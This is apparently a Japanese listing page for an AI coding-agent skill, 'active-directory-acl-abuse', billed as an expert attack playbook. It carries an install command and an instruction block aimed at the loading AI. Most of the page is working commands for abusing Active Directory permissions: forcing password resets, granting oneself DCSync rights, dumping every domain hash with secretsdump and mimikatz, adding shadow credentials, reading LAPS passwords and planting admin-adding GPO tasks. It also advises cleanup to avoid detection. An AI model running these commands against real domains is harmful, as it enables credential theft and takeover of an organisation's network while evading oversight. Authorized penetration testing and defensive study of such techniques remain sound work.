active-directory-acl-abuse について
Active Directory のセキュリティ評価で ACL の悪用を調べるスキルです。BloodHound による列挙、権限チェーンの分析、一般的な権限昇格経路を扱います。
主な機能
- 01BloodHound の収集とクエリ
- 02危険な ACE の分析
- 03DCSync 権限と実行
- 04シャドウ資格情報の手順
- 05LAPS の読み取りと GPO の悪用
活用シーン
- 01ドメイン ACL の関係を列挙
- 02Domain Admins への経路を分析
- 03許可済み評価で GPO と LAPS のリスクを確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill active-directory-acl-abuseインストール後、Claude Code で/active-directory-acl-abuseを入力して読み込まれたか確認します。
同梱ファイルBLOODHOUND_PATHS.md
詳細
スキル:AD ACL の悪用 — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:AD ACL のエキスパート向け悪用手法です。BloodHound による列挙、危険な ACE(GenericAll、WriteDACL、WriteOwner など)、DCSync、シャドウ認証情報、標的型 Kerberoasting、グループ操作、LAPS、GPO の悪用を扱います。ベースモデルでは、複雑な ACL チェーンの悪用や Cypher クエリのパターンを見落とします。
0. 関連するルーティング
詳しく調べる前に、以下の読み込みを検討してください。
- Kerberos 攻撃は ACL の悪用と組み合わせられることが多いため、active-directory-kerberos-attacks
- ACL の悪用後に実行する証明書ベースの攻撃については、active-directory-certificate-services
- ACL を設定できるリレー攻撃(LDAP リレー)については、ntlm-relay-coercion
- AD の昇格されたアクセス権を取得した後は、windows-lateral-movement
高度なリファレンス
以下が必要な場合は、BLOODHOUND_PATHS.md も読み込んでください。
- Cypher クエリを使った、一般的な BloodHound 攻撃パス
- 複雑なチェーンを見つけるためのカスタム Neo4j クエリ
- データの収集と取り込みに関するヒント
1. BLOODHOUND による列挙
データ収集
# SharpHound (from Windows, domain-joined)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip
# bloodhound-python (from Linux)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP
# Specific collection methods
SharpHound.exe -c DCOnly # Fastest — only DC queries
SharpHound.exe -c Session # Session data only (run periodically)
SharpHound.exe -c All,GPOLocalGroup # Include GPO analysis
主な BloodHound クエリ(組み込み)
- 「すべての Domain Admins を検索」
- 「所有しているプリンシパルから Domain Admins への最短パス」
- 「DCSync 権限を持つプリンシパルを検索」
- 「制約なしの委任が設定されたシステムへの最短パス」
- 「Domain Users がローカル管理者であるコンピューターを検索」
2. 危険な ACE の種類
| ACE | ユーザーへの影響 | グループへの影響 | コンピューターへの影響 |
|---|---|---|---|
| GenericAll | パスワードの変更、SPN の設定、属性の変更 | メンバーの追加 | RBCD、LAPS の読み取り、すべての属性 |
| GenericWrite | SPN の設定、属性の変更、シャドウ認証情報 | メンバーの追加 | RBCD、シャドウ認証情報 |
| WriteDACL | 任意の権限を自分に付与 | 同左 | 同左 |
| WriteOwner | 所有権を取得 → その後 WriteDACL | 同左 | 同左 |
| ForceChangePassword | 古いパスワードを知らずにパスワードをリセット | 該当なし | 該当なし |
| AddMember | 該当なし | 自分または他者をグループに追加 | 該当なし |
| AllExtendedRights | パスワードの強制変更、LAPS の読み取り | 該当なし | LAPS、BitLocker キーの読み取り |
| ReadLAPSPassword | 該当なし | 該当なし | ローカル管理者のパスワードを読み取る |
| WriteSPN | SPN を設定 → 標的型 Kerberoast | 該当なし | 該当なし |
3. ACE ごとの悪用
ユーザーに対する GenericAll
# Option 1: Force change password
net user targetuser NewP@ss123 /domain
# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN
# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
コンピューターに対する GenericAll / GenericWrite
# RBCD attack
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
# Shadow Credentials on computer
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
WriteDACL
# Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync
# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
WriteOwner
# Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv
# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All
# Step 3: Now exploit as GenericAll
ForceChangePassword
# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"
# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
グループへの AddMember
# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv
# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01
4. DCSYNC 攻撃
前提条件
プリンシパルは、ドメインオブジェクトに対して次のレプリケーション権限を両方持っている必要があります。
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
実行
# Impacket — dump all hashes
secretsdump.py DOMAIN/user:password@DC01 -just-dc
# Specific account only
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv
# Impacket with Kerberos auth
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc
デフォルトで DCSync 権限を持つのは誰か
- Domain Admins
- Enterprise Admins
- Domain Controllers グループ
BUILTIN\Administrators(ドメインオブジェクト上)
5. シャドウ認証情報
攻撃の流れ
ターゲットの msDS-KeyCredentialLink に書き込み → 証明書を生成 → PKINIT で認証します。
# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# Output: DeviceID and PFX file
# Authenticate with certificate
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache
# Extract NT hash from TGT (for pass-the-hash)
getnthash.py -key AS_REP_KEY domain.com/victim
# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt
クリーンアップ:検知を避けるため、追加したキー認証情報を削除します。
6. LAPS パスワードの読み取り
# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText
# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps
7. GPO の悪用
書き込み可能な GPO を特定する
# PowerView — find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
($_.SecurityIdentifier -match 'YOUR_SID')
}
SharpGPOAbuse を使った悪用
# Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"
# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01
8. ACL 攻撃の判断ツリー
Have domain user access — want to escalate via ACL
│
├── Run BloodHound → analyze shortest paths to DA
│ └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
│
├── Direct ACL on user object?
│ ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
│ ├── GenericWrite → shadow credentials or set SPN (§3/§5)
│ ├── ForceChangePassword → reset password directly (§3)
│ ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
│ └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
│
├── ACL on group?
│ ├── AddMember / GenericAll → add self to privileged group (§3)
│ └── WriteDACL → grant AddMember, then add self
│
├── ACL on computer object?
│ ├── GenericAll/GenericWrite → RBCD attack (§3)
│ ├── AllExtendedRights → read LAPS password (§6)
│ └── GenericWrite → shadow credentials on machine (§5)
│
├── ACL on domain object?
│ ├── WriteDACL → grant DCSync rights to self (§4)
│ └── Replication rights already? → DCSync directly (§4)
│
├── ACL on GPO linked to privileged OU?
│ └── Write access → add admin / scheduled task via GPO (§7)
│
└── Complex multi-hop chain?
└── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis
コメント
Markdown 対応